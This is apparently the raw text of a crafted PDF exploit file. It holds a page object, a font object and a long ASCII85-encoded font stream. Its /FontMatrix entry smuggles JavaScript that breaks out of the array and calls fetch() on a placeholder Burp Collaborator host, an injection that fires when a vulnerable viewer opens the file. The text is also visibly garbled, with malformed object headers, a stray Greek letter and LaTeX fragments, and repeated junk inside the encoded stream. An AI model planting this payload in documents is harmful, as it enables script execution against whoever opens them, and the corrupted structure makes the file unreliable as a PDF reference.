```
%PDF-1.7
10 obj
<<
/Pages 2 0 R
/Type /Catalog
endobj
2 0 obj
<<
/Count 1
/Kids [3 0 R]
/MediaBox [0 0 100 100]
/Type /Pages
>>
endobj
3 0 obj
<<
/Contents 4 0 R
/Parent 2 0 R
/Resources << /Font << /F1 6 0 R >> >>
/Type /Page
>>
endobj
4 0 obj
<<
>>
stream
BT
7 Tr
10 20 TD
/F1 20 Tf
(F) Tj
ΕT
0 0 1 rg
0 0 200 50 re
endstream
endobj
6 0 obj
<<
/BaseFont /SNCSTG+CMBX12
/FontDescriptor 7 0 R
```

```
/Subtype /Type1
/FontMatrix [1 2 3 4 5 (1\); fetch('http://<your-burp-collaborator-url>')]
/Type /Font
>>
endobj
7 0 obj
<<
/Flags 4
/FontBBox [ -53 -251 1139 750 ]
/FontFile 9 0 R
/FontName /SNCSTG+CMBX12
/ItalicAngle 0
/Type /FontDescriptor
>>
endobj
9 0 obj
<<
/Filter /ASCII85Decode
>>
stream
,p?)`/O<oc@V&#IDKIHb/hf=/6VTmL0esk*0Jb=80JWt],ueT#Ch5XM6VTmL0es(^<b6;mBl@IM+
>>K*/het7$7-ucEb/[$BI@IW@<?'A+AHcl+A-
cm+>GYp0fD'I2``WH+>PW)3=7&Y6ZQaHFDI1\+@KX]Bk/>\/g*c)DImkr,suTiH#dV3BQQ9X6Z6p
hEbTO"F<DuA.3L?*3B&K31,(CB+@0jUEbT#IDBMY^FD,6&@<?3n@;I&bDe!KmFEn3>6Z6phEb
TO"F?1Nm4D8hYE&oX*GB\6`@;U'<DfTJS.4cTcBln#2;Iso\Ecu#)+@^9eF<F=eD.OhW9gVr:1+in[
+B3#gF!*qjDKI""De=*8@<,p%BlbD5Bk(^IF(JI)F`(`$EZfI;AKXoC9H[,MASrV[Df0Y>9PJ!JDKBA?+B
E&oF(oQ1+>GK'/d`mI<+oue+Dbb%ASuR#+DGm>BI5&8BOr;p@q0FoE+*X0BI7Q+Anc'm+AYI#
/p)>[/0JA=A0>T-+CT)-D[Id5@<Q'nCggdhAKZ22FD)e*+@\Xo+CT@Q+D>k=E&oX*F(96)E--
.RF(oGCDfTJD:I\#1$7-
ueDIc+QD/Ej%FE7dYDf0YbBI[cpFDl2F01/H#=>;QRCMn'7DL4$(9gVr:1*C1CDId?tDKI"3F`9!6DJ
=*5AP#94CMn'7DL5o:E!e6uDJ=*5AP#94B4Z0-2)$^<2`<Z=AT8i(G[kD?7W30d<-`Fo+D58-
+>G!ME?J\-
A:8fDDf?h2@;L!rI;*;)Cia.pHZNV=AKZ)8F_,uJAmoLsAUS9)AScF!I=#R7Cia09BkCpmF(G\50d("@
@rri&AS5^p$84keDKJj'E+L.P3?VjDAdTh;7W30d9jr-
aBm:b)0d&4o1E\Ls2'?*]?!SRnART+fDJXS@A7]?[01KktFA?7]AKWX):.%rZ7k6r$6<Grt+Co%q$8
4keDKJ33Dg3CO/N#=,/M]1<+>GT,3?U7<0HbdaART+fDJXS@A7]?[03)n(EHPha6m+?@0JGFD3
?VjDAdU1f@;0V$<-`Fo+>=pKAS)9&7W30d8T&-Y+?:QTBk)6-A9Di6@V'1dD@/%?ATDj+Df-
[GOJG:80JG72+ED%%A8c@%Gp$X/AdU1dDff]'AKWBgDfBuBBkM+$+C$TX0On?A2)-
4.3B9#L+>PW)3?UV)ATDKp@;[2^@<?0oD..O#@ps0r;f?/[ATW2?>VJ#h4D8hYE&oX*GB\6`@;
U'<DfTJS>VJ#i/0K.NFD)dpATMF'G%G2,7W30d+AQ?^AKX?76<Grt/h%o`ART+fDJXS@A7]?[01L
)#CeeDUAKWBg9gVr:1+=>dART+fDJXS@A7]?[01KAeBI&&i@;TQu-pqoiE-
686EZe(pA7]e!.3NYB@:X:oCj@.6AS)9&=(Q)YBQP@F6>p[N.3NYB@:X:oCj@.6AS)9&8T\BWBk'
GHB5D-
%0Han;AdU2*F%0kgARnVOFCSu,AmoLsAKYMpAdU1kDId=!Ch[cu:iCDhFD5Z2+>#<%0Han;Ad
```

```
@<-BsGmZ5J0d&5/2'@6#+DG (AU#>/G[kD00.q-\FC\rp+E2IFI3<-?EXH?"E$.%r+>6#'E-
670A9Di62Du[266L5iF:)Q$E$.%t+>6))E-670A9Di62E2g46m-GkF:)Q$E$.&!+>6/+E-
670A9Di62 Z@-7NcYmF:)Q$E$.(o+>65-E-670A9Di62 IL/80DkoF:)Q$E$.(g+>6;/E-
670A9Di62`;d39H\:sF:)Q$E$.(u+>6G3E-670A9Di62`W!6:EXV!F:)Q$E$.+o+>6P6E-
670A9Di63&2U0;BTq$F:)Q$E$.+r+>6Y9E-670A9Di63&Da2<$6.&F:)Q$E$.+t+>6;E-
670A9Di63&Vm4<ZI@(F:)Q$E$.,!+>6e=E-670A9Di63A;R/=s.d,F:)Q$E$./"+>7.GE-
670A9Di63B/-7@N]W4F:)Q$E$./$+>74IE-670A9Di61c-=.@rH4$@3BN3F:)Q$E$-
kh0H`#Z+E2IF$=n9u+>GQ)+>7:KE-670A9Di62)ZR1ASGdjF<GOFF:)Q$E$-
kh1*A5^+E2IF$=n9u+>GSn04nf=E-670A9Di60f1"+AnGa"E-
670A9Di60esk)An`B,F`[t$F`8H\1E\> Bm+&1E-670A9Di60f'q*Ao&T/F`[t$F`8H\1*A5^Dfp(CE-
670A9Di60ebC+04uDHF`[t$F`8HX0Jjn*BHV8:F:)Q$E$-tp+>7DRE+ig#+E2IF$=n9u+>GQ-
+>7FOE-670A9Di60ebL.05;VKF`[t$F`8HX0K1+-CERS=F:)Q$E$-
kh3$9kj+E2IF$=n9u+>GQ1+>7RSE-670A9Di60ek@)05_nOF`[t$F`8H\2]sbkBl7K)E-
670A9Di60ekC*05htPF`[t$F`8H[3?TtnDIjr0F`[t$F`8HX0esk)E$0+BF:)Q$E$-tk+>7\BEb0-)AS-
$,E-670A9Di61bg++E+*cuDK9H(BQPA9F`[t$F`8H[2BXYIATDL'A0>i6F:)Q$E$-
ki1E\>j+E2IF$=n9u+>u"u06),GF*),7DBNn@F:)Q$E$..r+>7_WDffQ$@VfjlAoo/7F`[t$F`8HZ1a"
GkF`2A5A7B@gBkM+$+E2IF$=n9u+>GT-+>7aXE-
670A9Di60ekO.0687TF`[t$F`8H\2'=PnAThX&+E2IF$=n9u+>ktu06:iP+E2IF$=n9u+>c#"06:r<F(c
\8F`[t$F`8HX0fC.-F<GOFF:)Q$E$."m+>7hMEb/f)E-670A9Di62)$.+FE XGE-
670A9Di60ekU006JCVF`[t$F`8HX0fU:/Fs(aHF:)Q$E$-ki3?Tu!+E2IF$=n9u+>GW*+>7s^E-
670A9Di60etI+06n[ZF`[t$F`8HX1,9t*H6@0LF:)Q$E$-
ts+>8%PEc3(>F`[t2ART+fDJXS@A7]?[@s)g4ASuU#Bk)6-
ASu\#c@s)g4ASuU%BI%?'AS$*t@g^o?Ddtk^C9iN*pom%'G:hq%4jt ==-
tEgHeEGQFnuRQPpro,K\&:VB6']R/\&DZ;7..ojZ+8pQP\[2Ts\s\""qgA<KO]'Tg]*d3;(<4[rlTqkr*=3];
<'|SnrGd3cJSP@u!P 5QTQ,*6%T&l5pijYHGdGAhgWYE'j\b0D2G4GUWmWJY<K(16Vpm#d@\)
$d+pN-@*=+,-n9>Jnp%HiIT?mNZ8s(V2II)qLV0cD(1621\HJPZ%13:5K,T0c&*<YsIbg@ba6Kj -
(Y=#4VN4?(MI(),?IISL]anOk1pJ4=ffZ:Xcf*%al!K!/WXn.;L6#hAi[$q5I"j:j^).KUZT"f1r@qZS$?K(Yk
PZOBMIkL!Ee?TrCNSr?15D:8P&)1modE$/^?C@9QIe%I)5>-
i3I]C([$(H=5`s\S@\ImJ 0]U8%ILk22u)okcd,+!#bG8m<*ATP<6tUbaWk6:0k `&3sK*[Sla"QXqL
bM4olV%NR7f#C<Ws?9##Z^s2.U'IXPQ3g0Qo(q*5>ii7DsJj`Q7/A?&jFd>jZ13 I5+"NsI8MBalTU
9Ijdlc#D]@M1oLXA&_IDhPDTYGbl<Um?k3-Q9LMBCr+r:`VUB[*bl$L^WHXY<lc_I*kNcd-
cTY?? 3"&$DtZAKsT2mkLB61KTd8^kj\fd.>"E/f$@sY1+ISQrFqtam:4Z5(mqn-
IK*]K#\UtQ42c*,F^m+>&(nIBVNVV/!s?9GH_\&:isP^k,`q*)d,J<h=&(A8V'oBm>jkGMjrC\&-Like A8V'oBm>jkGMjrC&-Like A8V'oBm
RMB6%L(?J5OrVt&9G[e9nlKRpSnV8Nd558H)T]Q^LH+5c,3pLFWGF]`qE6gaH3W$F`Q%^9Kd
N3WK,M\d'=i\%fqH!n:t1D0VgTDk\fmi^si P/Z?s@<@Z8J*]'n\leMemV0<`.HKA!b!nGBt],qO6i
QX!>d1p/9\uHO@Fr6RG)CV&+&j0>[MDj+U2+u]RR^3%D.sh+*8%kTM!@bg6E`oK-
ME9@m'ZjjZ!>\!2WM)7B<n2d""kMe.=9#h#;I'a>S2nLk>$@C9D1#h0DhNnNOFbN*8R-
+e:&p#tDOHaSjm<KMTG]Fg)?"/@%%D8?f[^1j]R`kss*b7-
h9G>IS#sI:!<YCaKIFtjg?'K.Qbd:=K+7`3V.3SnK1)*Ir>DOn!JAPk;T:+i&#b/mc4coT`7`SRRf"FMn.V!
\frac{1}{15} - \frac{1}{15} 
N[BC\#,U:@Y*IT1]aV=<&3]a\&;\\OfT`%JKO,IRjL'NUk@h6N9T-
G^VpF/4h</eW^S*A^*,Sd1U,\%?a\#lkR$Y\m6"mlM1]+sKpD?u?]@@H;cK"(GK^rHo6^H1kXVd#)
Q7c(AN-
ctQu)esU:O6i0S5jC$1hEir)so/`W`jKkZ'qV\Kic$nUMA"XId9je:+i/&*jAiX3^;!P64#Y(Vhp8pL^f]JP
7Q+!%bjTm],]H&tXAHGj;.nUZG"o0$O&K)!>4tK6RY$S0M!ED=eIM!4LIOPC[(R@R`/JMQF/'I ##
+%+?]T@!!C$,6:SM:+bZ'D<ToYj!tX7"3g5L5A739!b<!H%%^"s[tr6r<O'R])$#\f6crq)P<q4 R:"?W
```

 $\ \ ''$ rH'!bUpm;:73?"gY(M#DS4JL\71o^ k2%q-on-iDdRg-)c* Q-

```
dX1l%S>hIP3=J6EG\s=DEY+,@BCausEbSrTG*47@^*,s"Yp6E-
]])/kTfNOle6[IA^D"[VsXGRY&A=50JbrRM/qB0Do//6,3^"e$qTajrF/+<d(1KJiF^6MQTCt@oBY-
k^t%6"814!+M)H#Y@nk,\"]dRpm3ImNB("psF8pM)@%d+-j?K3B9I&1KH?B%AJ.E*-
J'FFG>iQ<TDJ=sQ4DTL7R[R(XU3q V,8'9m]S@ [C`q(I RI>!3[>7[QIm!ADk;AJsP*Rjog>=G2AHP;
+OE-bD8=8D(j/IB%?W*s%)"m34VD.o-5AS1K\]XWLT>B-.AV[+oGejD-6**&a-
*ULHdWo td6.$! /Ku]%ZR"D(517!;Qou[sAO&m<<s$$'M6D"(?call]p-
PF@NEahLSOHEA<65ZBSVn8ZAXd^5'TiiWM86gj,\6`VOb7f9RtelV.`'aT@7 <o[E-
!W1=jB!8:%,n4G39D$nQ1*(h+G2AjTRCDdeGenosu+pLdN+ClUc -
=VB+R!JsGC)Ud@lup2Y',5_bR[MM6`&ZGdOL-
%F$\EElt/o1/+fqu+b?bTVit%sq4u!iINsi%?P+cB>ofNE>\W[N(&:JHBq3=cbF!-
=+A9$`B"ajnGq)bg!=jPOM.oI\2KrT=!>j]?D6en>4:lgB;&`h8e`SV]I;DVjp*&0?2p$29:V=t9@XIXO
megGJ8dYG`Jk80h2=[LH$WIO\F/QD4I<A4kQ;-
"^WkKZ9SkHfH$NohkkI^<GL>=h7:EYRBo(%m<I%YXj.3?>Y7"u[$1SNLaPtNBf)&/k0$(8FK/2Md]
R[2CXF2OP:(VAVS;ZDT;V8?1@[XcS3Ym7<bm#coHJc'd]>YVR;;`RD$n551XeX^ moLGfcr*2*:LQs
+Efle*7Kiua/.2D"]9B9$J?6$>$DRI1;9c@.2/3"uO2dm08A0h/@h3A@SF>$].J 57o^OO#:(oIZ2X
>IFa97&,@4j<t\=%']35.b OAa7uQRrI&G)JOjVAIh%&P"bmbO*n&&,B*f12SVnE%SRs@=NfTJ
@Lf9->)$P8pO3'mm3s=t9\<!M:GNI:Y(>Tj+=L"7ZrN3k/[T*h]IJUpN:M*";QI?RN)XS/(-
];Wi3Go@dgY(nd=Ns7.J^aUFg2:hFXn/BZt/jj1puSXHDtCJF,,qppf'ii><2qhG0V$(L$"=Y=,B]IMbO
p9\dbl="_mGn9P3m.7as)h57=4db`m#WcHKX(borb8%H9_>FC"QcJm>u*Rg#nMPYs0&E\sTXkj
'!YqP]\qeGu)j7X'@'mq"@(Na;4*Zs(7AboUiF!KPd`[\e)K5KHZ @>)`5c:jEL/HZs2$I<2s&ZUcEpG
5<fV,RI5k9l PToX*,,KO1T!ftd&egI+BS%&TOhLOBNpqCrH:K3FZ6uttfb>B4i[/.UkHNslSJ\>%>^:3
iY#ZF&Y"j&qdZ44q%tD;>6A+!*N:P^K*7lb#o0/f/LDoc&kt@As,"S9NY7B%mTHLbF1<r2tW) )
$-VCWI[dUgKa.(KIX^a(^8 oKepF^9T;:GV]a[RRkT;YSn$8Lt\H=AYOY-
D&YhG#M;9=KSb`ID[B,2=h-I\Xib48\:2khra 6#IDD :-M-
%Lm8i,4i#8j]s+5]5]bs#*.sl,%,L'N.C\Yb+nG%""'aU*c8s,i=<;IlbdFBYPJ[s7MFIs(]@4#H47'fGi0'O
@B9f<eUM,Le$IGG.3&-5@@DNi9NErAT1PebdPV(pj 9`S#ZOJTZc.R=nc-
<aHs?;oZ,eiNp?rbe)7t!eq5sI,l58#,%V&,4VH:\*=EnXB&7-QTpCauT?@VF&ugJi$rD-
e7C>.Rp!4mY]7em#UA %jLa$S9"hRIX"8tr7)VF=DYI*YeeP,lbkTT:BAf*%f+TYS/M36-
,!XpVE1D7L`GW1rY2Bs0Us'[)BMEQdU,KLPqr<p`4a`XErMdiEj09b9`^U)]?+@o?'>cCt9@c?@t,k
c7A^+%;kO>!ILpGn6rRr8s,<=nH]ff-
dTJ'_/(db[k;Fr''!Z_]Zj+rF?('B:D[GS)ZCk,7OHEL:O,4dLihN%H/U0t'7#YIr[^>OS_'j@3P[\l3c;d\C'])
O@[Wgo GpE8uRf<H+bO:/s-
$.5dI[aREAbh2Xdp4A^n(J+0jmlh8\thR<'AVAiKqRPf8"\A(#XG[V`h@4MqSdMajuDSX^.5c <f1
M$oL] .U"mBJV9DL34CG fN\*K\"ij"X2oBR.r7t";]*asF)pYg$!f=#I;-
gu8K&H/f!H%>rblBm7]E5T%<*Yc/K`-
k3,hR"(c6dIrA5FPATaT2RX1m\jQ3oZF0@R]IQ<aCA5[aJ4Gq-kn-
,)8g07PJ@^OC9'=ll#iITAF0:7paE@CQ^)mkJPP*g^4=T[Jo#g/S.P`fO>bab@?+R58CGqr6/irpN%
htcD#fGqSlmMF.8c@;mI41kT)3 FJsJ!!O;1Bb]<]n-
+*541E$+'&>c"qhMW T9mt[KW5pce6u0kW@#\E`EcknVhsif&Bt6MK?bYrb'aekK?dY9OC\:GI
e;O)DDIB48G1RJZ.5I?WgR45c,U;[c2YkalrpL-
jX68KF[Tl:Foi:?[*=KW4D!hWVGQh;a[+#ZSKk`MpV%Q-'e.pa P*0-
eCdYMsGn7LA,oln+.F9AY[TD!KS51d<'MT.,H*)S<'\);po3-
.ImA\e]Bh>%QJL%+b6d\&Gu.X6TG`EiA@kE[Rh+).>J!H^/%S!I(Te6QqQM1J^V!0Pu2qicS]Y4]FVB
)IZF\I.mR/HSOE`h6OJYZ+^`e1WEmKk#IRMh).6"GeW'BK,B>9qjJjI5U+VkW(]abd68CrbZ\!op\e
MN["usP+W(iJ9^Xsj'VPmVTVZN\AY!IH)I\"PCp+3cSZ6\;Eum^B'W;]nU7HKb.n;(fCj[Gj)VKj+g1u)]
D\ALOS-5EAI,7@\*\^\:"(V!-
S1VpmP\E*gK/`8fZhP,aY/LuRd/+3kHe*8df/W+LO'?UF,#S&[cE>)enQ!-
```

```
W8=k0HCITTEC!h0;UT5(.>p65:/abYh0BuT?Co*"a-
```

%IN!Kb;@*\#N:d!j>7=p%&*qG8jLO+IR.: nL.5(5NO-

Gu\:G/<0Eruq`\$"hIG!LKHFs)a.j::==`&:(Z'`W?mNY"le*V"u4nGG!G/?1cD[!JOoKs(@*.Co<h?crP <6Ci MBOW4`nu^1,pujeTGH!Hb#)np0fgZfUIM-

LZ<QG>VQp>)Gq8U2d[M/%OV(\$h*+mDCj[[9l<C38ITGDW)?,+Y>k -ZrmmB35V-

Z:5'L U]6IX&;iLf?,WO*+f`Kt:-X8\$'oMJC-eCX:p1qHj4Aa,9QTsRW04L[9-"Bi[JVN-\$]HID-

KB)NkTfEf\$3/Sg5:(MJS<1W<C0t%K4-LN>eAY`(--DtuXI.d;g/-

"0SWO3oX3XYtMA/A/Ln?&b.2Qg&(ohQc#fDC%<d.\$Vl4[tLM4N8J9&(+T*Km59c!"n8i\$^pZkH[C@(t;e-/qb&Mm5W;0-

am1b[)(!o@3oPs%=Yp=OCl86939WDlW'U(L@PB=U5R/hSVEm4/4gu2AaX7=k5oH`[f#<jiFCoCL;3sC05NtJd=)c3HA2)Fk+E*r:'l.h'baYY]5itZ'Bt4-

(Q:S. H&3uJ,rn#4/T*\$*)ohO,ns'5 *mX>\BmpAF'3jH7'n0q\$i#?BHXWmYC-

 $/mMDP[nTb+C'+btCJ6Q7$X8jU>SH*qnAr6P1+81"KkF%fFKI@7<Tpgb^4iVEA)JafKmo2h3h5fXdL6J86en8[`Dk-`s:j"(FC:6Br2WI)e<OifOVO^ML\THe>>L(&"0[V)\kr-$

S.H6D!N(9>&eOIY[A6'(_f>qYjO%P2At4rnl6RkZ<K*)WI+EMbiRu6oO"pEMVD3ZCn84C^aSlCgd S=)KohfOZqDPp0QcP.XJM!iB(5KDeFPVa#**NIDOO:Dj]FX8\$[g&*^\FM4nD8@+1*aER3df,t]Je W?f/-%oYbfibEq+TMKE+H\$V/>kSnX=X'M6CA> HWIRWe,f\a:ML.5e!-

=EZ@ah\%jBf+#D)\$@&6.J6]Z[u.pqG+ $^/$?1Gj?ZhbFBsblhII)0Zlob,0S&.4JT]iRgNrL\$j;5%PR'7Oq X) @jmA@0aMQi]-1fM%B*\M.a;S&\-

 $Clsmt4dAVn86Gk[`(r>k>]gDiL.OYLM4?kd_U\#_DhNceQWU5'+SW]Vg10X2cs:W$kS<t\#0,b3=!oo<8jTEQ8+fJ-$

 $\label{lem:mgCCi6QM11[,QM,%HDsA9hVf#6+:#Yp7N;;_$uNhDg`>DY!u9^hE$QnN#%Vd:hWc4(=)'rG.IR?$ <MO97!B@+sg@)C,?!d8in4CjA]W@<LFUs0URSl8aht#d8,4@QF"7(E]RJ7%7Xo!k+[8[Hs!)+>,3 O;5)4Y'sd]j[TfqU^J6.'s?]$GQ\ce,OGKWbAogaQ=N&UMdcn,n!@p4P\,)R,W76@88';;.CD%cu/Y)Q<R^nK#4Y$rca*R<Em:6AEW@G;8/IthIa-$

O#LKI&3o/U:b75k)kY8WMRjtm*OnJY3?;8;bH2C*B\b/W9V`#^(,p#_9E8Zj0RcA:)_%n(cITJofHu mG@=%>0OZ?\/0@]L1J=>U1S8#<L9`9oS3k;1X?EY]2tOYe8"%F.8*9(U^K)[;Sd*u-

 $jilK>Kt9@X'dgi\%dJVU.E"G@Ggg]^$>c+ol#1="eEU_TKX5)ja"O]J4Ns()0+PG$PG2MbVak.pb..f['; *T#JDeZr;HGi(R+[VAFj\13nl'BF#7VWmn4)ZNQ(i@]jlp42'T1M=e(4\pBF!)nP90jlEWgD%OA,lSG/O-$

 $nA(61(1\&QN.dVNoI9*q>nm0mEt+Fn24+LI%k11]Ck8$L?<_4\\:DheKu7?[(;9nn\#,B+b0BV"k(C/'+q/\#(E,!q-hI0C!,PdXM6FQSkZ`EIS2D5uf.jX%(u?*Cdj/R;,*a;!4o[ZCr"3H/WK?#<9.-$

 $\label{lem:loss} $$N1$Qm/X!0nSWF"kk"Q$Cl$F&8RIWPLSh>`LDkeI_;;p_6+>:,8`mOX"\8lc#d+;G0J^\Rdten"T%l=E@Tf7Gb3Md<RimD;/'QgklJ:*/q-$

 $X*8UjJhb@\#^q!=n8B1n< jVJ/XOdkF\&GKrd6L\#\$]?Y.ELIXbn3hU0o6'V(1^<OE?\#F\EsMTj+*I>^7M"IJ(Tm+Q_L;gPkf,b"m<mbk%:88\\\%u@s9"eG\#ZQ]_kf0M:I32\\@<)odKGI/.p6f-$

 $+ (094 > SIKTQkJ).tS3[!:VX\&P51\&ECtg < ui8`leV#c$73^HEIY/5/WVe1R > ML?iXR,Uo:R#1tM]0.Nil-X,JXW/cp)J > DT?o/QARGA#iH-$

 $SfP`]B]SWFrSN4m5+@UO!?K4&0!aK4#^>NLABN2>p?rbo![kWbA[A/7+c@6CJSu'=?XFOVK+McS3ai3rs#5=1c[NOW**IY-p(/C6Tu_4KLYh(\ckOe9!kK7D<,HsR:GLh.H)sdK^Z_\gVGJtY.P3-]8K04c9C<OO5p>I<[f-PB19Y]Pg1MDJ4GHd;mcfK4>?-$

```
!YPr/poW:]2i;7D9$]H&E.67;=@b3ap"(\f*O9GgaJm6ifVq-Sn&<k.f*<-mc0.rAgoP7I*PqO>q^g+2=m6-
```

 $\label{eq:condition} OQJ.<POu&V..aTr1_7<ceclO1MDK3, (QQf`"H>%1?C=eB:=S0:p\#C_7\#s$U_34d)<<P:FGY:PO3iR D:ZLUR4NuWJ$H&"f^TBtdQ3rWr.(lg,=\>+`Vd%;$YqonK'(!Y7@)+6eV;UB]bcBGNLI0s;(kQ\OY)S! c)2fps&cGN]Ns9agP:^f;GSZT&*;_:73"CX(eJdj6h<<F\#+19O..jNXqQ)JXF8-$

WU7+H8J)OkDLmj32&&\$,sHuNHJ4BLd3hrbhm:(+.kAtX7?k7g6E[>XTdr')MlcA8-

'?p+Y;6L(9jEm"uKd8!W6/]#]Z'qElHLPFbSEp]o&fAW(K#Mq0K[(@l@qq^sCU2/NFUt4Aa3',g6#C i11Lcbr'\0O>XfeS]=BP(_g/jMC\lB*;hDuFVlL0o2%SfhhSGs/%F+o<Y]B&6("69\pETZiBD:VP,\gJ8 ,2<-

 $\label{lem:mass} $$M\SqUs9HW1Bp6UM=$!_U/*+F#Ysc;SFrJZL(mPp!W7;A3q\nnJ_C7\[YaMNK_Nco/ePkd)OHf 9C@E[!)HPh,^gh$q6M;pR=+fol(Dkd)K`b5W`6KQm=9#pS%dV$>CpbrX0;U5C*iekr`qEuA/Xg!Sr H8655OjX>mKl^hkBp)JU\MKH^@t3F7^l?*)&8o$Nlj-$

B\\$M/f5'`\$f.`iJ'IKkhg0r^)#s0MHSH8sCkW4L5?'T['Y80N",Cq+6Q([AaQOF-

UE7A]fb(tU)3j6UA:*<^XUjqacTG^IQn4 f3.'\$NoZpqX*)%8ZUUVsiD7LaJAg^iDR8W+/B3-

`:Oh,RX,o+iA?TS3t0l9;1JN4FfmlMEYQU6h8X+Bdc^f\f>e;W0>;i##.CeIm7QJR;n?`G]l0![p:FO7J%Rgs\\9pJ"uK(ddsL`IE497Ll6of/2g+pb"a#;:RnF/YWE!c(h/A`L>m2cLHm<aY_GJ\Wi5;?SuWQp N4.Ek#3De`XWj7.(qG9^gQ^:XnKTh=I"jO`@Um%K6G8j=;q0"43(C=L+bTJS8DBU?e^%M2K_AF? ^97i#H`q\jG\$hppgFX)FRjY7cgk4Hioj;5pdEOC_Tk9aG2Nn+='8X/Ei5Z]7T*d"lefF:dVH]C]mV:f5d @-Kr7!sC]lb-+nl;LCV% RA*a<?/afGR29^3cLlQrJN,WcMoJ> <(E+;t->(FFE-

 $\label{local-condition} $$1'@NTX>7HSoP_oooX0&/sDkq`qU96_L0*+&D<*<TV&Pca;o_._`6:&^a86\%SIR'GZo#TkGu00L(7<]?tZ/=D``YXpbMC9))_]/0M5m,g*J\4mBffFSdgU$n+C7flG;`(1JnO`:p@^.$RXNo,I7Cp)`VS*+"(R.fOC\$SGhT!F0<:9p>Q%OYod4Eq7:isO+(u?Bs86B#1.O-$

 $muR9C_o+?`21b/d;kmNVPmXtlij^3daaVq8$Mm1?4I,Eb#8SG[p(0"U<)ZX6im*Z5,`Z0gG@:9uE*P_\XXZ_b4'HOL5/6ECe]Od$R[DB@\'p)sG0M<3!S/.u7m'q_TTQ(9B,iME"^C!Bl/n6OnK@o;<1,QrEY/kb]AHV6&3&g.X7Ki?7Rb8jIYW/f'Y$7!^OMn+Y3Y<T.=tE[$lscL=_?M.1D2f@f"sdm.`"&Z^=45$`$ ' g^2csN'!@\[R7;7-i e$)*'k%GJAN$i/o(rWilJ@npTt./*.)tF-$

 $!8Cq):h\r'2k?nJ66<;dHFq%Q2Ng\s=BAg+6GC=VKkhi7\?da;W\#:R"78N!6cR,_L-*n]-2IK3d>^04eQ?SpbqCQ>\#\QX-$

b3)*5i":1+lhV]_adsKdAlbhmnd1sjj:X6s%F,AYg/2"VsElL_!9?/g7@3mV!_h),>SV8!O.HcM,R\$*@ G:qTFhbut9etu,A]P]]k"1)U`'E,:K=ZFmm`]lo[>Q`"p7p=YolU5<UZuY\$mne\<7;9[72_%TUM@?Q 76SDV6A<*JDp!NT":GkU`X6-

9K/]OVBOd51oO)(M`Q0WMF7I\I^I]!(sJ:4o7(:93H+Pg34(2[\2NTU)"(=4-

 $\label{lower-solution} $$JG>S9jc2O:uM)06e5P3E$\CXpO1Vgdl_s<%/AoR_loh*mARoE.4PEd$q:\t(lEd!)@i$,U2lpuXN'W;m3)!CMl&6iJ/N#;skdj<2j&?MeU(@8rlY)RRHCh&Q0J_NLXDAZ8J;[(>ZM%!6)<N9QX+'AupF]r9 \\lO&*H,uY<hCml*@&m%5/aYF:Em*ioIN?aKtDa,R1^]MRk&idWhjSl;@<34FE9Y]Y`=4IC`-J0u\lnTLhb"Gj<PN3'[am-$

 $_XmFkPCXt*CJaKofiKP8NMbh5Ds7cdVFCR)0K49%&Y^&H=qMP\1L$%U0IKF_=Qp]A7uH";R.U>6Bb.-VidIXW7e!R)Z8,qpgK0-$

;;eC(j"7,(UAGk(?eOYihB^"tK4%nU2HmW'Lk6)dA\$DDuL[2EXoTf#4-

ZMEjIdA5&84j<&DRJU7Z@4ua\3\o0hU5L!SjV^*&jW?0qTa6![r0OXKJ34!!R`.C[I,4Sp)'/6U?#k[dpP9p):*[#AfnGV[t2tAj]&dW3,:4A3e9;E?Uh#B\$K8LoSEPgRibeYgQ/#>TA'CmQ0CgsU#s"gXDX DVJ6KN9NI-jKD*p/-TQT5`GJ[(L"j3\s>`!0-

(p3Crl`mOgReZq1hTOoF=SGj&jP]jWhgEFdgEe_TQf^F(1H94Tta"C:jC:i\rkFIV^:EOQid-Lr*8ahgoY=?<b"pRC=qoNMX,-

 $\label{lem:hc8nagXX} WRWD6g6``\$rC=%<+S2bU5lfDnJR:)fJ_YoS:Ys3hEb;UU*aR+r1J[*51WKe1uLhp7S%NVY@M0a=NO+6Can*"HG9d78MQVSm^KY*jlpTDaPhZ_p&-"e+GJLY']tB7(a]=c-$

cJ`1:'KrCBpg'sqAeMOac2:8I04YQoeRf,Nni!k#H*9?SK%4f]agT2%\$9.!43LSIO,\Y)(\$o[lgn0Br0QG

```
s6kLtdQG<eo?S"--
#0Q)=\7G7YAXp.7q3s,Vg%gnW[YLZX[cDc)m9\iq5@:ZOg>Ts4'LrV&^Q5&MEX]$Fa=b`^-
b16F.Y5n=jb0F#rE)QYpqGq?<]Gr' L;eB6B75LOd(3HFd68>|!4#;?|INt>nj q1?8J2r*-j.h-
KOkCV87=h:/'Fb%X5q-M"]rOYjOq9O`X#oT:<_^4K-
[BhK`Uff!"`V@XFgmkVhqq$Y+0CQr%ID%)!g(#`QpO)@,i:8Ot!W%MSD<g$QEA%J:QZV7+? +7
6e][N$U?O@q!F5Fu4uL[IA,3CC=^@AA?B]?h<OK,+\K&/tq<"X7o\:)E:-
(R$o.C&oqfa)j!I^(D9t+Yn*QVI`*K2DIc.?75U;pO=]kOqc1AO+E6NLT/8<D+LEneaor#_+K2#Z@bc
<!?$0HTTQU#W6b/EZ;&B4m#E;d,oBf +&bcnmFImXl@Khhi1"c9ZE^u>[]7NPT+OCb$,7IQ-
+fVG$H)XPDEH;L'Vr;/6l%&2ah,H,CGSH%$kqmNI&Ys;M<,@!@mCjmrN!?rSO1EUdRk?1X!N?'[
E:&F`u*ItR)O$)4a2?P9kQiC4:sQbpA?n.Rc]/o?!F,C&M8lb%?cI5AM>"(NYZ&V:CEo[[6r+^j\g=B9
\9,GGIkcnqc)VT TH?1AIgL!(jgIFr&?:M%L@!+!.sfB/WY9nO`UtEXe5&VgNoO;#0^!+EtY)+=V?S4
n+"I,/J&0jE`6 6Z0?rM<MB>g\E-
HfL(Y+61VU%_7_WJeGNc'm<j"qro'&88E@0]j2;1cGB#Q,7_(n$s:k<19@]KW=pD`<VhQGFKq-
F;$o%3la66lB]`9K GT6X<`*[(EKo(a]K'WI).47h]f)/n"uR0HY=/:;)\TW0h<8c^h#F-
%[;;YKC?a9m\/]N^3'Js[%J`Y05AOD+)@GGqppC.&KMUuY3&T\jd`c;)7XX73=%!fk(!`KU^R!RFH$
f6u2;hK%Oo[e=mUOVVn,j;JO/Cm+7""IHdES>GajF0J:\AJLb9!U8ucBNj@<p8AF0*M#[5a=_6t6"
#2sqm50?<T'9%m3^`Z6tbPcUg`PU;6r3GO!e,Zs$%TQJ+$4A@$@7.Vk>KgP.M9=>EZ-
